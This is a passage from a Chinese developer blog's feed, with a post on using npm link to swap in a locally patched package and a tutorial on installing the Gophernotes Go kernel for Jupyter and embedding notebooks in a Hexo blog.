&#x4E0A;&#x7684;&#x539F;&#x59CB;&#x5305;&#x90FD;&#x5728;&#x6211;&#x672C;&#x5730;&#x8DD1;&#x4E0D;&#x901A;&#xFF0C;&#x867D;&#x7136;&#x901A;&#x8FC7;&#x4E00;&#x4E9B;&#x529E;&#x6CD5;&#x6682;&#x65F6; fix &#x4E86;&#xFF0C;&#x4F46;&#x8FD8;&#x9700;&#x8981;&#x624B;&#x52A8;&#x66FF;&#x6362;&#x6389; <code>node_modules/</code> &#x91CC;&#x9762;&#x7684;&#x5305;&#x3002;&#x53EF;&#x662F;&#x540E;&#x9762;&#x6BCF;&#x6B21;&#x91CD;&#x65B0;&#x66F4;&#x65B0; <code>node_modules/</code> &#x5C31;&#x8FD8;&#x662F;&#x56DE;&#x5230;&#x539F;&#x6765;&#x7684;&#x7248;&#x672C;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x53C8;&#x624B;&#x52A8;&#x66F4;&#x65B0;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x6BD4;&#x8F83;&#x9EBB;&#x70E6;&#x4E86;&#x3002;</p><p>&#x4E8E;&#x662F;&#x60F3;&#x7740;&#x80FD;&#x4E0D;&#x80FD;&#x8BA9; npm &#x66F4;&#x65B0;&#x65F6;&#x4F7F;&#x7528;&#x6211;&#x672C;&#x5730;&#x7684;&#x5305;&#xFF0C;&#x67E5;&#x4E86;&#x4E00;&#x4E0B;&#x8FD8;&#x771F;&#x6709;:-)</p><h2 id="&#x89E3;&#x51B3;&#x5DE5;&#x5177;&#xFF1A;npm-link">&#x89E3;&#x51B3;&#x5DE5;&#x5177;&#xFF1A;npm link</h2><p>npm link &#x662F;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x6709;&#x7528;&#x7684;&#x5DE5;&#x5177;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x5C06;&#x4E00;&#x4E2A;&#x672C;&#x5730;&#x5F00;&#x53D1;&#x4E2D;&#x7684;&#x5305;&#x7B26;&#x53F7;&#x94FE;&#x63A5;&#x5230;&#x5168;&#x5C40; <code>node_modules</code> &#x76EE;&#x5F55;&#xFF0C;&#x6216;&#x8005;&#x5C06;&#x5176;&#x94FE;&#x63A5;&#x5230;&#x5176;&#x4ED6;&#x672C;&#x5730;&#x9879;&#x76EE;&#x3002;</p><p>&#x521B;&#x5EFA;&#x7B26;&#x53F7;&#x94FE;&#x63A5;&#xFF08;&#x5728;&#x4F60;&#x7684;&#x5305;&#x76EE;&#x5F55;&#x4E2D;&#xFF09;&#xFF1A;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /path/to/my-custom-package</span><br><span class="line">npm <span class="built_in">link</span></span><br></pre></td></tr></table></figure><p>&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x94FE;&#x63A5;&#x8BE5;&#x5305;&#xFF1A;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /path/to/my-project</span><br><span class="line">npm <span class="built_in">link</span> my-custom-package</span><br></pre></td></tr></table></figure><h2 id="&#x5B9E;&#x8DF5;">&#x5B9E;&#x8DF5;</h2><p>&#x5728;&#x64CD;&#x4F5C;&#x4E4B;&#x524D;&#xFF0C;&#x5305;&#x4F9D;&#x8D56;&#x662F;&#x8FD9;&#x6837;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240827102935.png" alt="image.png"></p><p>&#x64CD;&#x4F5C;&#x8FC7;&#x7A0B;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240827105210.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x5F53; npm install &amp;#x5B89;&amp;#x88C5;&amp;#x7684;&amp;#x5305;&amp;#x6709;&amp;#x95EE;&amp;#x9898;&amp;#xFF0C;&amp;#x6211;&amp;#x4EEC;&amp;#x53EF;&amp;#x4EE5;&amp;#x4F7F;&amp;#x7528;&amp;#x81EA;&amp;#x5DF1;&amp;#x7684;&amp;#x5305;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x4F7F;&amp;#x7528;npm link&amp;#x547D;&amp;#x4EE4;&amp;#x5728;&amp;#x9879;&amp;#x76EE;&amp;#x4E2D;&amp;#x5F15;&amp;#x7528;&amp;#x81EA;&amp;#x5B9A;&amp;#x4E49;&amp;#x7684;&amp;#x672C;&amp;#x5730;npm&amp;#x5305;&amp;#xFF0C;&amp;#x89E3;&amp;#x51B3;&amp;#x5B98;&amp;#x65B9;&amp;#x5305;&amp;#x5B58;&amp;#x5728;bug&amp;#x6216;&amp;#x529F;&amp;#x80FD;&amp;#x7F3A;&amp;#x5931;&amp;#x7684;&amp;#x95EE;&amp;#x9898;&amp;#x3002;&amp;#x4F5C;&amp;#x8005;&amp;#x4EE5;&amp;#x5B9E;&amp;#x9645;&amp;#x6848;&amp;#x4F8B;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x4ECE;&amp;#x53D1;&amp;#x73B0;hexo-jupyter-notebook&amp;#x5305;&amp;#x7684;&amp;#x95EE;&amp;#x9898;&amp;#xFF0C;&amp;#x5230;&amp;#x521B;&amp;#x5EFA;&amp;#x672C;&amp;#x5730;&amp;#x4FEE;&amp;#x6539;&amp;#x7248;&amp;#x672C;&amp;#x5E76;&amp;#x5728;&amp;#x9879;&amp;#x76EE;&amp;#x4E2D;&amp;#x94FE;&amp;#x63A5;&amp;#x4F7F;&amp;#x7528;&amp;#x7684;&amp;#x5B8C;&amp;#x6574;&amp;#x6D41;&amp;#x7A0B;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8FD8;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;npm link&amp;#x547D;&amp;#x4EE4;&amp;#x7684;&amp;#x5177;&amp;#x4F53;&amp;#x7528;&amp;#x6CD5;&amp;#x548C;&amp;#x64CD;&amp;#x4F5C;&amp;#x6B65;&amp;#x9AA4;&amp;#x7684;&amp;#x622A;&amp;#x56FE;&amp;#x6F14;&amp;#x793A;&amp;#xFF0C;&amp;#x4E3A;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x4E00;&amp;#x79CD;&amp;#x4E0D;&amp;#x9700;&amp;#x8981;&amp;#x53CD;&amp;#x590D;&amp;#x624B;&amp;#x52A8;&amp;#x4FEE;&amp;#x6539;node_modules&amp;#x7684;&amp;#x9AD8;&amp;#x6548;&amp;#x89E3;&amp;#x51B3;&amp;#x65B9;&amp;#x6848;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    <category term="包管理工具" scheme="https://oschina.win/categories/Tools/%E5%8C%85%E7%AE%A1%E7%90%86%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="npm" scheme="https://oschina.win/tags/npm/"/>
    
  </entry>
  
  <entry>
    <title>打造属于自己的本地 Go Playground，但不止于此</title>
    <link href="https://oschina.win/posts/df80c9f8.html"/>
    <id>https://oschina.win/posts/df80c9f8.html</id>
    <published>2024-08-24T13:04:52.000Z</published>
    <updated>2025-04-25T13:13:50.452Z</updated>
    
    <content type="html"><![CDATA[<p>&#x5982;&#x679C;&#x4F60;&#x7FA1;&#x6155;&#x4F7F;&#x7528; Jupyter Notebook &#x7684;&#x4EBA;&#x8F7B;&#x677E;&#x5C06; Python &#x4EE3;&#x7801;&#x5D4C;&#x5165;&#x6587;&#x6863;&#xFF0C;&#x5E76;&#x52A8;&#x6001;&#x7684;&#x5C55;&#x793A;&#x5176;&#x7ED3;&#x679C;&#xFF0C;&#x90A3;&#x4E48;&#x4F60;&#x5176;&#x5B9E;&#x4E5F;&#x53EF;&#x4EE5;&#x5E94;&#x7528;&#x5230; Golang &#x4E0A;&#x3002;</p><p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x5728;Jupyter Notebook&#x4E2D;&#x6DFB;&#x52A0;Go&#x8BED;&#x8A00;&#x652F;&#x6301;&#xFF0C;&#x5B9E;&#x73B0;&#x7C7B;&#x4F3C;Go Playground&#x7684;&#x672C;&#x5730;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x3002;&#x4ECE;&#x5B89;&#x88C5;&#x914D;&#x7F6E;Gophernotes kernel&#xFF0C;&#x5230;&#x89E3;&#x51B3;Windows&#x7CFB;&#x7EDF;&#x4E0B;&#x7684;&#x5B9E;&#x73B0;&#x95EE;&#x9898;&#xFF0C;&#x518D;&#x5230;&#x5C06;Jupyter&#x7B14;&#x8BB0;&#x672C;&#x96C6;&#x6210;&#x5230;Hexo&#x535A;&#x5BA2;&#x4E2D;&#x7684;&#x591A;&#x79CD;&#x65B9;&#x6848;&#x5BF9;&#x6BD4;&#x3002;&#x6587;&#x7AE0;&#x8FD8;&#x5206;&#x4EAB;&#x4E86;VS Code&#x4E0E;Jupyter&#x7684;&#x6574;&#x5408;&#x6280;&#x5DE7;&#xFF0C;&#x4E3A;Go&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x4EA4;&#x4E92;&#x5F0F;&#x7F16;&#x7A0B;&#x4E0E;&#x6587;&#x6863;&#x5C55;&#x793A;&#x7684;&#x5168;&#x65B0;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x3002;</p><span id="more"></span><p>&#x719F;&#x6089; Python &#x7684;&#x4EBA;&#x5E94;&#x8BE5;&#x77E5;&#x9053; Jupyter Notebook &#xFF0C;&#x5B83;&#x662F;&#x4E00;&#x79CD;&#x4EA4;&#x4E92;&#x5F0F;&#x6587;&#x6863;&#xFF08;&#x7B14;&#x8BB0;&#x672C;&#xFF09;&#x3002;&#x91CD;&#x8981;&#x7684;&#x662F;&#xFF0C;&#x5B83;&#x5141;&#x8BB8;&#x5728;&#x6587;&#x6863;&#x4E2D;&#x63D2;&#x5165;&#x4EE3;&#x7801;&#x3001;&#x6587;&#x672C;&#x3001;&#x6570;&#x5B66;&#x516C;&#x5F0F;&#x7B49;&#xFF0C;&#x5E76;&#x5C06;&#x7ED3;&#x679C;&#x52A8;&#x6001;&#x5C55;&#x793A;&#xFF0C;&#x6216;&#x8005;&#x53EF;&#x89C6;&#x5316;&#x3002;&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x7528;&#x8FC7;&#x7684;&#x90FD;&#x77E5;&#x9053;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x597D;&#x7684;&#x529F;&#x80FD;&#x3002;&#x8FD8;&#x6709; Jupyter Lab&#xFF0C;&#x5B83;&#x662F;&#x65B0;&#x7248;&#x672C;&#x7684; Jupyter Notebook&#xFF0C;&#x529F;&#x80FD;&#x66F4;&#x4E30;&#x5BCC;&#x4E00;&#x4E9B;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x4EEC;&#x6838;&#x5FC3;&#x529F;&#x80FD;&#x662F;&#x4E00;&#x6837;&#x7684;&#x3002;&#x6240;&#x4EE5;&#x57FA;&#x672C;&#x4E0A;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4E0D;&#x52A0;&#x533A;&#x5206;&#x5730;&#x4F7F;&#x7528;&#x5B83;&#x4EEC;&#x3002;</p><p>Jupyter Notebook &#x4E00;&#x5F00;&#x59CB;&#x4E3B;&#x8981;&#x662F;&#x4E3A;&#x4E86;&#x79D1;&#x5B66;&#x8BA1;&#x7B97;&#x5E76;&#x6F14;&#x793A;&#x65B9;&#x4FBF;&#xFF0C;&#x800C; Jupyter &#x62C6;&#x5F00;&#x5206;&#x522B;&#x4EE3;&#x8868;&#x4E86;&#x4E09;&#x79CD;&#x8BED;&#x8A00;&#xFF1A;<font color="#4bacc6">Julia(Ju)</font>&#x3001;<font color="#aaca0a">Python(pyt)</font>&#x3001;<font color="#0070c0">R(er)</font> &#xFF0C;&#x5B83;&#x4EEC;&#x90FD;&#x8DDF;&#x6570;&#x5B66;&#x8BA1;&#x7B97;&#x5BC6;&#x5207;&#x76F8;&#x5173;&#x3002;</p><p>&#x5B83;&#x4EA7;&#x751F;&#x4E8E;&#x8FD9;&#x6837;&#x7684;&#x4E00;&#x7C7B;&#x573A;&#x666F;&#xFF1A;&#x5F53;&#x4F60;&#x6709;&#x4E86;&#x4E00;&#x4E2A; idea&#xFF0C;&#x6216;&#x8005;&#x590D;&#x6742;&#x7684;&#x60F3;&#x6CD5;&#xFF0C;&#x4F60;&#x5728;&#x7B14;&#x8BB0;&#x672C;&#x4E0A;&#x5199;&#x4E0B;&#x5B83;&#x4EEC;&#xFF0C;&#x7136;&#x540E;&#x53C8;&#x5199;&#x4E86;&#x4E00;&#x4E9B;&#x4EE3;&#x7801;&#xFF0C;&#x7528;&#x6765;&#x6F14;&#x793A;&#x3001;&#x9A8C;&#x8BC1;&#x4F60;&#x7684;&#x60F3;&#x6CD5;&#x3002;&#x5199;&#x5B8C;&#x540E;&#xFF0C;&#x4F60;&#x671F;&#x671B;&#x7B14;&#x8BB0;&#x672C;&#x9A6C;&#x4E0A;&#x6267;&#x884C;&#x4EE3;&#x7801;&#xFF0C;&#x5E76;&#x5C55;&#x793A;&#x51FA;&#x7ED3;&#x679C;&#x3002;&#x4F60;&#x7684;&#x60F3;&#x6CD5;&#x63CF;&#x8FF0;&#x91CC;&#x9762;&#x53EF;&#x80FD;&#x5305;&#x542B;&#x6570;&#x5B66;&#x516C;&#x5F0F;&#x3001;&#x56FE;&#x7247;&#xFF0C;&#x4F60;&#x7684;&#x4EE3;&#x7801;&#x53EF;&#x80FD;&#x4F1A;&#x6709;&#x590D;&#x6742;&#x7684;&#x4EE3;&#x6570;&#x8FD0;&#x7B97;&#xFF0C;&#x6216;&#x8005;&#x4F1A;&#x8F93;&#x51FA;&#x6570;&#x5B66;&#x56FE;&#x5F62;&#x3002;&#x8FD9;&#x4E9B;&#x96C6;&#x4E2D;&#x5230;&#x4E00;&#x8D77;&#xFF0C;&#x90FD;&#x4E0D;&#x662F;&#x4F20;&#x7EDF;&#x7684;&#x7F16;&#x7A0B;&#x5DE5;&#x5177;&#x8F7B;&#x6613;&#x505A;&#x5230;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x53C8;&#x5B58;&#x5728;&#x4E8E;&#x5F88;&#x591A;&#x5B9E;&#x9645;&#x7684;&#x9700;&#x6C42;&#x573A;&#x666F;&#x4E2D;&#xFF0C;&#x4E8E;&#x662F;&#x5C31;&#x6709;&#x4E86; Jupyter Notebook&#x3002;</p><h3 id="&#x5B89;&#x88C5;-Jupyter">&#x5B89;&#x88C5; Jupyter</h3><p>&#x65B9;&#x5F0F;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x5047;&#x8BBE;&#x5DF2;&#x7ECF;&#x5B89;&#x88C5;&#x4E86; Python3.0+ &#x56E0;&#x4E3A;&#x8FD9;&#x662F; Jupyter &#x7684;&#x57FA;&#x672C;&#x4F9D;&#x8D56;&#xFF0C;&#x90A3;&#x4E48;&#xFF1A;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install jupyter</span><br></pre></td></tr></table></figure><h3 id="&#x8FD0;&#x884C;-Jupyter">&#x8FD0;&#x884C; Jupyter</h3><p>&#x5728;&#x7EC8;&#x7AEF;&#x6267;&#x884C;&#x547D;&#x4EE4;&#xFF1A;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jupyter notebook </span><br></pre></td></tr></table></figure><p>&#x5230;&#x6B64;&#x4E3A;&#x6B62;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Jupyter notebook &#x4E86;&#xFF0C;&#x4F46;&#x9ED8;&#x8BA4;&#x652F;&#x6301;&#x5728;&#x91CC;&#x9762;&#x8FD0;&#x884C; Python &#x4EE3;&#x7801;&#xFF0C;&#x6211;&#x4EEC;&#x7684;&#x76EE;&#x6807;&#x662F;&#x8FD0;&#x884C; Golang &#x4EE3;&#x7801;&#x3002;</p><p>&#x6839;&#x636E; <a href="https://github.com/jupyter/jupyter/wiki/Jupyter-kernels">&#x6587;&#x6863;</a> &#x662F;&#x652F;&#x6301; Go kernel &#x7684;&#xFF0C;&#x8FD9;&#x91CC; Kernel &#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x4E3A;&#x5BF9;&#x8BED;&#x8A00;&#x7684;&#x652F;&#x6301;&#x3002;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825015605.png" alt="image.png"></p><p>&#x6211;&#x9009;&#x62E9; <a href="https://github.com/gopherdata/gophernotes">Gophernotes</a> &#x8FD9;&#x4E2A;&#x5E93;&#x4F5C;&#x4E3A; Jupyter notebook &#x7684; Go kernel&#x3002;</p><h3 id="&#x5B89;&#x88C5;-go-kernel">&#x5B89;&#x88C5; go kernel</h3><p>&#x9605;&#x8BFB;&#x8FD9;&#x4E2A;&#x5E93;&#x7684; <a href="http://README.md">README.md</a> &#x6587;&#x6863;&#x4E2D; <a href="https://github.com/gopherdata/gophernotes?tab=readme-ov-file#installation">installation</a> &#x90E8;&#x5206;&#x7684;&#x6B65;&#x9AA4;&#xFF0C;&#x53D1;&#x73B0;&#x5173;&#x952E;&#x6B65;&#x9AA4;&#x662F;&#x4E24;&#x6B65;&#xFF1A;1. &#x628A; gophernotes &#x5E93;&#x4E2D; kernel/ &#x76EE;&#x5F55;&#x4E0B;&#x7684;&#x6587;&#x4EF6;&#x5168;&#x90E8;&#x590D;&#x5236;&#x5230; jupyter &#x7684; kernels/ &#x7684;&#x76EE;&#x5F55;&#x4E0B;; 2. &#x4FEE;&#x6539; kernel/ &#x76EE;&#x5F55;&#x4E2D; <code>.json</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x7684;&#x8BFB;&#x5199;&#x6743;&#x9650;&#xFF0C;&#x5E76;&#x5C06;&#x91CC;&#x9762;&#x7684;&#x8DEF;&#x5F84;&#x4FEE;&#x6539;&#x4E3A; gophernotes &#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x7684;&#x8DEF;&#x5F84;&#x3002;</p><p>&#x4EE5;&#x6211;&#x7684; Windows &#x7535;&#x8111;&#x4E3A;&#x4F8B;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x9996;&#x5148;&#x5B89;&#x88C5; gophernotes:</p></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/gopherdata/gophernotes</span><br><span class="line">cd gophernotes</span><br><span class="line">git checkout -f v0.7.5</span><br><span class="line">go install</span><br></pre></td></tr></table></figure><ol start="2"><li class="lvl-3"><p>&#x6839;&#x636E; <code>go env GOPATH</code> &#x627E;&#x5230; gophernotes &#x5305;&#x7684;&#x4F4D;&#x7F6E;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825023455.png" alt="image.png"></p></li><li class="lvl-3"><p>&#x627E;&#x5230; jupyter kernels/ &#x76EE;&#x5F55;&#x7684;&#x4F4D;&#x7F6E;&#xFF0C;&#x5728;&#x91CC;&#x9762;&#x65B0;&#x5EFA; gophernotes/ &#x76EE;&#x5F55;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825023706.png" alt="image.png"></p></li><li class="lvl-3"><p>&#x5C06;&#x6B65;&#x9AA4; 2 &#x4E2D; kernel/ &#x76EE;&#x5F55;&#x4E2D;&#x7684;&#x6587;&#x4EF6;&#x5168;&#x90E8;&#x590D;&#x5236;&#x5230;&#x6B65;&#x9AA4; 3 &#x4E2D; gophernotes/ &#x76EE;&#x5F55;&#x4E2D;&#x3002;&#x540E;&#x9762;&#x7684;&#x4FEE;&#x6539;&#x90FD;&#x5728;&#x8FD9;&#x4E2A;&#x76EE;&#x5F55;&#x4E2D;&#x3002;</p></li><li class="lvl-3"><p>&#x4FEE;&#x6539; <a href="http://kernel.json.in">kernel.json.in</a>&#x3001;kernel.json &#x6587;&#x4EF6;&#x7684;&#x6743;&#x9650;&#xFF0C;&#x4F7F;&#x5176;&#x6709;&#x5199;&#x7684;&#x6743;&#x9650;</p></li><li class="lvl-3"><p>&#x4FEE;&#x6539; <a href="http://kernel.json.in">kernel.json.in</a>&#x3001;kernel.json &#x6587;&#x4EF6;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p></li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line">&#xA0; &#xA0; <span class="attr">&quot;argv&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; <span class="string">&quot;D:\\Software\\Go\\bin\\gophernotes.exe&quot;</span><span class="punctuation">,</span></span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; <span class="string">&quot;{connection_file}&quot;</span></span><br><span class="line">&#xA0; &#xA0; <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">&#xA0; &#xA0; <span class="attr">&quot;display_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Go&quot;</span><span class="punctuation">,</span></span><br><span class="line">&#xA0; &#xA0; <span class="attr">&quot;language&quot;</span><span class="punctuation">:</span> <span class="string">&quot;go&quot;</span><span class="punctuation">,</span></span><br><span class="line">&#xA0; &#xA0; <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;go&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>&#x4E3B;&#x8981;&#x662F;&#x5728; argv &#x53C2;&#x6570;&#x5217;&#x8868;&#x4E2D;&#x6307;&#x5B9A; gophernote &#x6267;&#x884C;&#x6587;&#x4EF6;&#x7684;&#x8DEF;&#x5F84;&#x3002;</p><p>&#x91CD;&#x65B0;&#x542F;&#x52A8; Jupyter notebook&#xFF0C;&#x70B9;&#x51FB; New &#x6309;&#x94AE;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825025240.png" alt="image.png"></p><p>&#x81F3;&#x6B64;&#x5C31;&#x7B97;&#x6210;&#x529F;&#x5728; Jupyter Notebook &#x4E2D;&#x6DFB;&#x52A0; Go kernel &#x4E86;&#x3002;</p><p>Jupyter Notebook &#x7684;&#x6548;&#x679C;&#x5982;&#x4E0B;&#xFF1A;</p><iframe src="https://nbviewer.org/github/Cactusinhand/IPynb/blob/main/files/note.ipynb" width="100%" height="1000"></iframe><h3 id="&#x5728;-hexo-&#x535A;&#x5BA2;&#x4E2D;&#x663E;&#x793A;-Jupyter-Notebook-&#x7684;&#x5185;&#x5BB9;">&#x5728; hexo &#x535A;&#x5BA2;&#x4E2D;&#x663E;&#x793A; Jupyter Notebook &#x7684;&#x5185;&#x5BB9;</h3><p>&#x67E5;&#x4E86;&#x4E00;&#x4E0B;&#x8D44;&#x6599;&#xFF0C;&#x8981;&#x5728; hexo &#x535A;&#x5BA2;&#x4E2D;&#x663E;&#x793A; Jupyter Notebook &#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8981;&#x5B9E;&#x73B0;&#x5982;&#x4F55;&#x6E32;&#x67D3; <code>.ipynb</code> &#x7C7B;&#x578B;&#x7684;&#x6587;&#x4EF6;&#x3002;&#x76EE;&#x524D;&#x770B;&#x5230;&#x7684;&#x5927;&#x81F4;&#x6709;&#x4E24;&#x79CD;&#x601D;&#x8DEF;&#xFF1A;</p><p><font color="#00b0f0"> a. &#x5728; Github &#x4E0A;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x516C;&#x5F00;&#x4ED3;&#x5E93;&#xFF0C;&#x5C06;&#x672C;&#x5730; .ipynb &#x6587;&#x4EF6;&#x4E0A;&#x4F20;&#x4E0A;&#x53BB;(&#x7C7B;&#x4F3C;&#x4E8E;&#x56FE;&#x5E8A;&#x4ED3;&#x5E93;)&#xFF0C;&#x5C06;&#x8BE5;&#x4ED3;&#x5E93;&#x4E2D;&#x7684;&#x6587;&#x4EF6;&#x94FE;&#x63A5;&#x5206;&#x4EAB;&#x5230; <a href="https://nbviewer.org/">nbviewer</a> &#x7F51;&#x7AD9;&#x4E0A;&#xFF0C;&#x83B7;&#x5F97;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x516C;&#x5F00;&#x94FE;&#x63A5;&#xFF0C;&#x5C06;&#x8BE5;&#x94FE;&#x63A5;&#x5D4C;&#x5165;&#x5230; hexo &#x535A;&#x5BA2;&#x6587;&#x672C;&#x91CC;&#x53BB;&#x3002;</font></p><p><font color="#00b0f0"> b. &#x4F7F;&#x7528; <code>npm</code> &#x63D2;&#x4EF6; <code>hexo-jupyter-notebook</code>, &#x5728;&#x672C;&#x5730;&#x5C06; <code>.ipynb</code> &#x6587;&#x4EF6;&#x8F6C;&#x6362;&#x6210; html &#x6587;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x5D4C;&#x5165;&#x5230;&#x535A;&#x5BA2;&#x91CC;&#x3002;</font></p><p>&#x7531;&#x4E8E;&#x6211;&#x65E2;&#x4E0D;&#x60F3;&#x53E6;&#x5916;&#x518D;&#x521B;&#x5EFA; github &#x4ED3;&#x5E93;&#x4E13;&#x95E8;&#x5B58;&#x653E; <code>.ipynb</code> &#x6587;&#x4EF6;&#xFF0C;&#x4E5F;&#x4E0D;&#x60F3;&#x4F7F;&#x7528;&#x7B2C;&#x4E09;&#x65B9;&#x670D;&#x52A1; nbviewer&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x9009;&#x62E9;&#x4E86;&#x7B2C;&#x4E8C;&#x79CD;&#x65B9;&#x6848;&#x3002;</p><p>&#x4F46;&#x662F;&#x65B9;&#x6848;&#x4E8C;&#x6709;&#x5751;&#x3002;</p><p><font color="#fac08f"> &#x5751;&#x4E00;&#xFF1A;</font></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-jupyter-notebook</span><br></pre></td></tr></table></figure><p>&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x65B9;&#x5F0F;&#x4ECE; npm &#x4ED3;&#x5E93;&#x4E0B;&#x8F7D;&#x7684;&#x63D2;&#x4EF6;&#x65E0;&#x6CD5;&#x6B63;&#x5E38;&#x8FD0;&#x884C;&#x3002;&#x6253;&#x5F00;&#x5B98;&#x7F51;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825033214.png" alt="image.png"></p><p>7 &#x5E74;&#x524D;&#x7684;&#x63D2;&#x4EF6;&#xFF0C;&#x4E00;&#x76F4;&#x6CA1;&#x66F4;&#x65B0;&#xFF0C;Homepage &#x94FE;&#x63A5; 404&#x3002;</p><p>&#x4F46;&#x6CA1;&#x5173;&#x7CFB;&#xFF0C;&#x5148;&#x8BD5;&#x4E0B;&#x80FD;&#x4E0D;&#x80FD;&#x7528;&#x3002;&#x5728;&#x6267;&#x884C; <code>hexo g</code> &#x547D;&#x4EE4;&#x65F6;&#x4F1A;&#x8FDB;&#x884C;&#x8F6C;&#x6362;&#xFF0C;&#x4F46;&#x51FA;&#x9519;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/SharedScreenshot.jpg" alt="SharedScreenshot.jpg"></p><p>&#x770B;&#x8D77;&#x6765;&#x8FD9;&#x4E2A;&#x63D2;&#x4EF6;&#x4E0D;&#x600E;&#x4E48;&#x53EF;&#x9760;&#x3002;&#x5FEB;&#x8981;&#x653E;&#x5F03;&#x65F6;&#xFF0C;&#x51B3;&#x5B9A;&#x770B;&#x4E0B;&#x5728;&#x672C;&#x5730; node_modules/ &#x4E2D;&#x5B83;&#x7684;&#x6E90;&#x7801;&#x3002;&#x8FD8;&#x597D;&#x4EE3;&#x7801;&#x4E0D;&#x591A;&#xFF0C;&#x6700;&#x540E;&quot;hack&quot;&#x4E00;&#x4E0B;&#xFF0C;&#x5C06;&#x8FD9;&#x4E2A; bug &#x6682;&#x65F6;&#x6D88;&#x9664;&#x2014;&#x5176;&#x5B9E;&#x5C31;&#x662F;&#x6CE8;&#x91CA;&#x6389; <code>main.py</code> &#x6E90;&#x7801;&#x4E2D; <code>html_exporter.template_file = &apos;full&apos;</code> &#x8FD9;&#x4E00;&#x884C;&#x5373;&#x53EF;&#x3002;</p><p><font color="#fac08f"> &#x5751;&#x4E8C;&#xFF1A;</font></p><p>&#x65E2;&#x7136;&#x4F7F;&#x7528; npm &#x5B89;&#x88C5;&#x8FD9;&#x4E2A;&#x63D2;&#x4EF6;&#x4E0D;&#x53EF;&#x9760;&#xFF0C;&#x770B;&#x4E0B; Github 